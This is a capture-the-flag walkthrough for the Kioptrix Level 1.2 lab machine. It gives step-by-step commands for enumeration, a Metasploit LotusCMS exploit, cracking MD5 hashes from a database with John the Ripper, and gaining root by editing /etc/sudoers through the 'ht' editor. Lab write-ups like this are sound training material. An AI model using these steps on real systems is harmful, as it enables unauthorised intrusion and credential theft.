Level 1.2
Kioptrix Level 1.2 (#3) Walkthrough
Enumeration
nmap
Start scanning the machine using nmap commands:
Then, I saw port 80 is open, let's put the IP to the browser and see what we got.
Dirb
Got this output and gallery
and phpmyadmin
caught my eye!
First we navigate to the phpmyadmin
and got a login form.
I manage to use the username administrator
to login but nothing seems to be interesting pops up.
I navigate back to the login form and see what can I do from here.
Exploit
Tried SQL injection but had no luck, but I saw the login form is powered by LotusCMS, decided to use searchsploit
to see what exploit we can find.
Found it ! Next, we can use msfconsole
to let us run the exploit.
type use exploit/multi/http/lcms_php_exec
, then type show options
then set RHOST 192.168.43.176
to remote host IP
set URI
to /
type run
or exploit
Then type shell
to get a shell from the meterpreter.
Then, we will get a proper shell by typing /bin/bash -i
Then, we need to locate a file called config.php
After cat
the file and we got a lot of code, I manage to saw the login credentials for the myphpadmin login form.
After that, navigate to the gallery
database and go to the dev_account
table and we will find two users username and password in hash.
put it inside a text file and we type john --wordlists=/usr/share/wordlists/rockyou.txt --format=RAW-MD5 hash.txt
Then we will get the password for both users
dreg:mast3r
loneferret:starwars
Privilege Escalation
Then, we login to both users with ssh
, I can't find anything interesting in dreg
user, so maybe loneferret
is the one that we want to access.
After logged into the account, then we cat
the CompanyPolicy.README
file and got this
When we type sudo ht
, we got this
Then I type which ht
and ls -l /usr/local/bin/ht
and we know it is owned by root and it can be exploit by SUID rights.
Then we can type export TERM=xterm
to get a graphical interface
then sudo ht
and press F3
and navigate to /etc/sudoers
change to the loneferret ALL=NOPASSWD: ALL
Then, press F2
to save and F10
to quit
Type sudo su
and you will get root
Or you can put /bin/bash
at the end of the line
Then type sudo /bin/bash
and you will get root
!
Congratulation!
Last updated